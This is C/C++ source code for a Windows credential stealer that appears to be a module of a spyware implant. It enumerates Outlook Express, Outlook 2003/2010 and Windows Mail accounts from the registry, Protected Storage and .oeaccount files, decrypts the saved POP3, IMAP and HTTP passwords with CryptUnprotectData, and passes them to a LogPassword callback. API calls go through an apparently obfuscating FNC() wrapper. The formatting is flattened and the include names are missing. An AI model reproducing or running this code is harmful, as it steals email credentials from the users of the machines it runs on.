#define _CRT_SECURE_NO_WARNINGS 1 #include #include #include #include #include "..\common.h" #import "pstorec.dll" no_namespace #include // callback for the password extern int LogPassword(WCHAR *resource, WCHAR *service, WCHAR *user, WCHAR *pass); #define MAX_OUTLOOK_ACC 800 #define MAIL_IMAP 1 #define MAIL_POP3 2 #define MAIL_HTTP 3 #define GENERIC_FIELD_LEN 512 typedef struct TOOUTDATA{ WCHAR POPuser[100]; WCHAR POPpass[100]; WCHAR POPserver[100]; char type; } OOUTDATA; OOUTDATA *OutlookData; DWORD oIndex; typedef BOOL (WINAPI *typeCryptUnprotectData)(DATA_BLOB *, LPWSTR *, DATA_BLOB *, PVOID, PVOID, DWORD, DATA_BLOB *); // ----------------------- PSTORAGE OutlookExpress ------------------------ void DumpOutlook(char *base_reg) { HKEY hkeyresult, hkeyresult1; char name[200],skey[400]; BYTE data[256]; DWORD index, tmp_size, type; LONG ret_val; FILETIME f; FNC(lstrcpyA)(skey, base_reg); if (FNC(RegOpenKeyExA)(HKEY_CURRENT_USER, ( LPCTSTR )skey, 0, KEY_ALL_ACCESS, &hkeyresult1 ) != ERROR_SUCCESS) return; for ( index=0; oIndexEnumTypes(0, 0, &EnumPStoreTypes); if (!FAILED(hRes)) { #define PS_ITEM_SIZE 512 GUID TypeGUID; GUID subTypeGUID; WCHAR ItemData[PS_ITEM_SIZE]; WCHAR pass[PS_ITEM_SIZE]; char szItemGUID[50]; while(EnumPStoreTypes->raw_Next(1, &TypeGUID, 0) == S_OK) { IEnumPStoreTypesPtr EnumSubTypes = 0; wsprintf(szItemGUID, "%x", TypeGUID); EnumSubTypes = NULL; PStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes); if (!EnumSubTypes) continue; while(EnumSubTypes->raw_Next(1, &subTypeGUID, 0) == S_OK) { IEnumPStoreItemsPtr spEnumItems = 0; LPWSTR itemName; spEnumItems = NULL; PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems); if (!spEnumItems) continue; while(spEnumItems->raw_Next(1, &itemName, 0) == S_OK) { unsigned long psDataLen = 0; unsigned char *psData = NULL; PStore->ReadItem(0, &TypeGUID, &subTypeGUID, itemName, &psDataLen, &psData, NULL, 0); if (psData == NULL) { CoTaskMemFree(itemName); continue; } memset(ItemData, 0, sizeof(ItemData)); memcpy(ItemData, psData, (psDataLen < PS_ITEM_SIZE) ? psDataLen : PS_ITEM_SIZE-2); _snwprintf_s(pass, sizeof(pass)/sizeof(WCHAR), _TRUNCATE, L"%S", ItemData); // 220d5cc1 Outlooks if(!FNC(lstrcmpA)(szItemGUID, "220d5cd0") || !FNC(lstrcmpA)(szItemGUID, "220d5cc1")) { //BOOL bDeletedOEAccount=TRUE; for( i=0; i1 && pfCryptUnprotectData(&dbin, NULL, NULL, NULL, NULL, 1, &dbout)) { _snwprintf_s(password, sizeof(password)/sizeof(WCHAR), _TRUNCATE, L"%s", dbout.pbData); LogPassword(L"Outlook 2003/2010 HTTP", server, user, password); LocalFree(dbout.pbData); } } } tmp_size = sizeof(data); if(FNC(RegQueryValueExA) ( hkeyresult, (LPCTSTR)"POP3 User" , 0, &type, data, &tmp_size ) == ERROR_SUCCESS) { _snwprintf_s(user, sizeof(user)/sizeof(WCHAR), _TRUNCATE, L"%s", data); tmp_size = sizeof(data); if(FNC(RegQueryValueExA) ( hkeyresult, ( LPCTSTR )"POP3 Server" , 0, &type, data, &tmp_size ) == ERROR_SUCCESS) { _snwprintf_s(server, sizeof(server)/sizeof(WCHAR), _TRUNCATE, L"%s", data); } tmp_size = sizeof(data); if(FNC(RegQueryValueExA) ( hkeyresult, ( LPCTSTR )"POP3 Password" , 0, &type, data, &tmp_size ) == ERROR_SUCCESS) { dbin.cbData = tmp_size-1; dbin.pbData = &(data[1]); if (tmp_size>1 && pfCryptUnprotectData(&dbin, NULL, NULL, NULL, NULL, 1, &dbout)) { _snwprintf_s(password, sizeof(password)/sizeof(WCHAR), _TRUNCATE, L"%s", dbout.pbData); LogPassword(L"Outlook 2003/2010 POP3", server, user, password); LocalFree(dbout.pbData); } } } tmp_size = sizeof(data); if(FNC(RegQueryValueExA) ( hkeyresult, (LPCTSTR)"IMAP User" , 0, &type, data, &tmp_size ) == ERROR_SUCCESS) { _snwprintf_s(user, sizeof(user)/sizeof(WCHAR), _TRUNCATE, L"%s", data); tmp_size = sizeof(data); if(FNC(RegQueryValueExA) ( hkeyresult, ( LPCTSTR )"IMAP Server" , 0, &type, data, &tmp_size ) == ERROR_SUCCESS) { _snwprintf_s(server, sizeof(server)/sizeof(WCHAR), _TRUNCATE, L"%s", data); } tmp_size = sizeof(data); if(FNC(RegQueryValueExA) ( hkeyresult, ( LPCTSTR )"IMAP Password" , 0, &type, data, &tmp_size ) == ERROR_SUCCESS) { dbin.cbData = tmp_size-1; dbin.pbData = &(data[1]); if (tmp_size>1 && pfCryptUnprotectData(&dbin, NULL, NULL, NULL, NULL, 1, &dbout)) { _snwprintf_s(password, sizeof(password)/sizeof(WCHAR), _TRUNCATE, L"%s", dbout.pbData); LogPassword(L"Outlook 2003/2010 IMAP", server, user, password); LocalFree(dbout.pbData); } } } FNC(RegCloseKey)(hkeyresult); } FNC(RegCloseKey)(hkeyresult1); } BOOL GetXMLNode(WCHAR *data, WCHAR *node, WCHAR *buffer) { WCHAR *ptr1, *ptr2; WCHAR saved_char; if ( !(ptr1 = wcsstr(data, node)) ) return FALSE; if ( !(ptr1 = wcschr(ptr1, L'>')) ) return FALSE; if ( !(ptr2 = wcschr(ptr1, L'<')) ) return FALSE; saved_char = *ptr2; ptr1++; *ptr2 = 0; wcsncpy_s(buffer, GENERIC_FIELD_LEN, ptr1, _TRUNCATE); *ptr2 = saved_char; return TRUE; } BOOL XMLDecryptPassword(BYTE *password, BYTE *salt) { DATA_BLOB dbin, dbentropy, dbout; DWORD i; BYTE sum; typeCryptUnprotectData pfCryptUnprotectData = NULL; HMODULE hCrypt32DLL = NULL; if ( (hCrypt32DLL = LoadLibrary("crypt32.dll")) ) pfCryptUnprotectData = (typeCryptUnprotectData)GetProcAddress(hCrypt32DLL, "CryptUnprotectData"); if (!pfCryptUnprotectData) return FALSE; if (password[0]==0) return FALSE; for(i=0; password[i*4] && i<(GENERIC_FIELD_LEN/2); i++) { if (password[i*4]>='0' && password[i*4]<='9') sum = password[i*4]-'0'; else if (password[i*4]>='a' && password[i*4]<='f') sum = password[i*4]-'a'+0x0a; else if (password[i*4]>='A' && password[i*4]<='F') sum = password[i*4]-'A'+0x0a; sum = sum << 4; if (password[i*4+2]>='0' && password[i*4+2]<='9') sum += password[i*4+2]-'0'; else if (password[i*4+2]>='a' && password[i*4+2]<='f') sum += password[i*4+2]-'a'+0x0a; else if (password[i*4+2]>='A' && password[i*4+2]<='F') sum += password[i*4+2]-'A'+0x0a; password[i]=sum; } dbin.cbData = i; dbin.pbData = password; dbentropy.cbData = 0x10; dbentropy.pbData = salt; if (pfCryptUnprotectData(&dbin, NULL, &dbentropy, NULL, NULL, 1, &dbout) && dbout.pbData) { memset(password, 0, GENERIC_FIELD_LEN*sizeof(WCHAR)); memcpy(password, dbout.pbData, ( (GENERIC_FIELD_LEN-1)*sizeof(WCHAR) > dbout.cbData) ? dbout.cbData : (GENERIC_FIELD_LEN-1)*sizeof(WCHAR) ); LocalFree(dbout.pbData); return TRUE; } return FALSE; } BOOL GetXMLMailAccount(WCHAR *account_dir, WCHAR *server, WCHAR *service, WCHAR *user, WCHAR *password, BYTE *salt) { HANDLE hFile = INVALID_HANDLE_VALUE; DWORD size_low, dummy; WCHAR *data; if (!account_dir || !server || !service || !user || !password) return FALSE; if ( (hFile = FNC(CreateFileW)(account_dir, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE ) return FALSE; do { if ( (size_low = FNC(GetFileSize)(hFile, NULL)) == INVALID_FILE_SIZE ) break; if ( !(data = (WCHAR *)calloc(size_low+2, 1)) ) break; if ( !FNC(ReadFile)(hFile, (BYTE *)data, size_low, &dummy, NULL) ) break; CloseHandle(hFile); if (GetXMLNode(data, L"=sizeof(expand_store_root)/sizeof(expand_store_root[0])) return; _snwprintf_s(account_dir, sizeof(account_dir)/sizeof(account_dir[0]), _TRUNCATE, L"%s\\*", expand_store_root); hFind = FNC(FindFirstFileW)(account_dir, &find_data); if (hFind == INVALID_HANDLE_VALUE) return; do { if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (find_data.cFileName[0] == L'.') continue; _snwprintf_s(account_dir, sizeof(account_dir)/sizeof(account_dir[0]), _TRUNCATE, L"%s\\%s\\account*.oeaccount", expand_store_root, find_data.cFileName); hFindFile = FNC(FindFirstFileW)(account_dir, &find_file_data); if (hFindFile == INVALID_HANDLE_VALUE) continue; do { _snwprintf_s(account_dir, sizeof(account_dir)/sizeof(account_dir[0]), _TRUNCATE, L"%s\\%s\\%s", expand_store_root, find_data.cFileName, find_file_data.cFileName); if (GetXMLMailAccount(account_dir, server, service, user, password, salt)) LogPassword(service, server, user, password); } while (FNC(FindNextFileW)(hFindFile, &find_file_data)); FNC(FindClose)(hFindFile); } } while (FNC(FindNextFileW)(hFind, &find_data)); FNC(FindClose)(hFind); } int DumpOutlook(void) { oIndex = 0; OutlookData = (OOUTDATA *)calloc(MAX_OUTLOOK_ACC + 3, sizeof(OOUTDATA)); if (!OutlookData) return 0; DumpOutlook("Software\\Microsoft\\Internet Account Manager\\Accounts"); DumpOutlook("Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts"); DumpOutlookXP(); DumpPStorage(); DumpOutlook2003(); DumpWindosMail(); free(OutlookData); return 0; } .